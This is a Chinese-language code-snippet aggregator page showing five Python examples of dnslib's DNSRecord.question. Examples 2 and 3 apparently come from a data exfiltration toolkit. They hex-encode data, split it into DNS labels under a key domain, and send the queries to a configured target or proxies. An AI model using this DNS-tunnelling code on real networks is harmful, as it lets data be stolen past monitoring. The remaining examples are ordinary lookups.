本文整理汇总了Python中dnslib.DNSRecord.question方法的典型用法代码示例。如果您正苦于以下问题:Python DNSRecord.question方法的具体用法?Python DNSRecord.question怎么用?Python DNSRecord.question使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类dnslib.DNSRecord
的用法示例。
在下文中一共展示了DNSRecord.question方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: getRecord
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def getRecord(host, query):
d = DNSRecord.question(query, "A")
check, responce = queryNode(d.pack(), (host, 53))
try:
record = DNSRecord.parse(responce)
return record
except DNSError, e:
return False
示例2: relay_dns_query
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def relay_dns_query(domain):
target = config['target']
port = config['port']
app_exfiltrate.log_message(
'info', "[proxy] [dns] Relaying dns query to {0}".format(target))
q = DNSRecord.question(domain)
try:
q.send(target, port, timeout=0.01)
except:
pass
示例3: send
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def send(data):
if config.has_key('proxies') and config['proxies'] != [""]:
targets = [config['target']] + config['proxies']
else:
targets = [config['target']]
port = config['port']
jobid = data.split("|!|")[0]
data = data.encode('hex')
domain = ""
#Calculate the remaining length available for our payload
rem = 252 - len(config['key'])
#Number of 63 bytes labels
no_labels = rem / 64 #( 63 + len('.') )
#Length of the last remaining label
last_label_len = (rem % 64) - 1
while data != "":
data = jobid + data
for i in range(0, no_labels):
if data == "": break
label = data[:63]
data = data[63:]
domain += label + '.'
if data == "":
domain += config['key']
else:
if last_label_len < 1:
domain += config['key']
else:
label = data[:last_label_len]
data = data[last_label_len:]
domain += label + '.' + config['key']
q = DNSRecord.question(domain)
domain = ""
target = choice(targets)
try:
q.send(target, port, timeout=0.01)
except:
# app_exfiltrate.log_message('warning', "[dns] Failed to send DNS request")
pass
示例4: send_test_query_public
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def send_test_query_public(port):
# Request the v6 address of google.com
req = DNSRecord.question("google.com", qtype="A")
print("Issuing client request (public)...")
send_req_and_print_resp(req.pack(), port)
示例5: send_test_query_sdns
# 需要导入模块: from dnslib import DNSRecord [as 别名]
# 或者: from dnslib.DNSRecord import question [as 别名]
def send_test_query_sdns(port):
req = DNSRecord.question("xyzmail.sec.mycompany.com", qtype="A")
print("\nIssuing client request (sdns)...")
send_req_and_print_resp(req.pack(), port)